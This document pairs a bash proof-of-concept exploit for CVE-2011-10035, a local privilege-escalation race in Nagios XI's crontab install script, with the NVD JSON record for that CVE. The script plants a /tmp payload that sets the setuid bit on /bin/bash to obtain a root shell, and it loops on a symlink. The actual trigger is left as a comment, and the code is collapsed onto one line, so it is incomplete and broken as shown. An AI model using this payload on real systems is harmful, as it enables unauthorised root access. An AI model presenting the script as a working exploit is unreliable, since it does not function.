CVE-2011-10035

#!/bin/bash # CVE-2011-10035 PoC - Nagios XI crontab race condition exploit # Target: Nagios XI < 2011R1.9 # Attacker: Local low-privilege user TARGET_SCRIPT="/usr/local/nagiosxi/scripts/install_crontab.sh" EVIL_SCRIPT="/tmp/evil_payload.sh" LINK_TARGET="/tmp/nagios_cron_link" # Create evil payload cat > $EVIL_SCRIPT << 'EOF' #!/bin/bash # This payload executes with root privileges # Add your privilege escalation code here echo "[+] Privilege Escalation Successful" >> /tmp/pwned.txt chmod +s /bin/bash # Spawn root shell EOF chmod +x $EVIL_SCRIPT # Race condition loop for i in {1..100}; do # Create symlink to evil script ln -sf $EVIL_SCRIPT $LINK_TARGET 2>/dev/null # Trigger vulnerable script (if exploitable) # In real attack, this would be the Nagios XI install script # The script would check $LINK_TARGET exists, then execute it # Clean up for next attempt rm -f $LINK_TARGET done echo "[*] Exploit attempt completed. Check /tmp/pwned.txt"

{"cve": {"id": "CVE-2011-10035", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:34.733", "lastModified": "2025-11-06T14:13:16.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 2011R1.9 contain privilege escalation vulnerabilities in the scripts that install or update system crontab entries. Due to time-of-check/time-of-use race conditions and missing synchronization or final-path validation, a local low-privileged user could manipulate filesystem state during crontab installation to influence the files or commands executed with elevated privileges, resulting in execution with higher privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndIncluding": "2009", "matchCriteriaId": "F5A0F705-A92D-4A44-820E-AA95C185FD0A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1:*:*:*:*:*:*", "matchCriteriaId": "B2FB1221-7B2A-4C1F-877B-87A85C5F67F3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.1:*:*:*:*:*:*", "matchCriteriaId": "B8A58F77-B01F-43E5-8AB8-9BBC7AFB8EA6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.2:*:*:*:*:*:*", "matchCriteriaId": "930BA0E1-526F-444D-B55C-0F3986B28204"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.3:*:*:*:*:*:*", "matchCriteriaId": "12F74EFA-B2E0-4DC6-8ECE-8CBD474B5F30"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.4:*:*:*:*:*:*", "matchCriteriaId": "21AB904E-BE1B-420E-AA2E-BC45DF8BC745"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.5:*:*:*:*:*:*", "matchCriteriaId": "4664377B-70C1-403A-9A61-F1CECCBC5CEF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.6:*:*:*:*:*:*", "matchCriteriaId": "29011240-37E3-499A-AAF1-7B0F722F16A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.7:*:*:*:*:*:*", "matchCriteriaId": "E0E3B832-C219-475D-A433-6914973DCA3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2011:r1.8:*:*:*:*:*:*", "matchCriteriaId": "5B5DD634-765B-44D0-A1D1-27DC326A3477"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-race-conditions-in-crontab-install-script-lpe", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}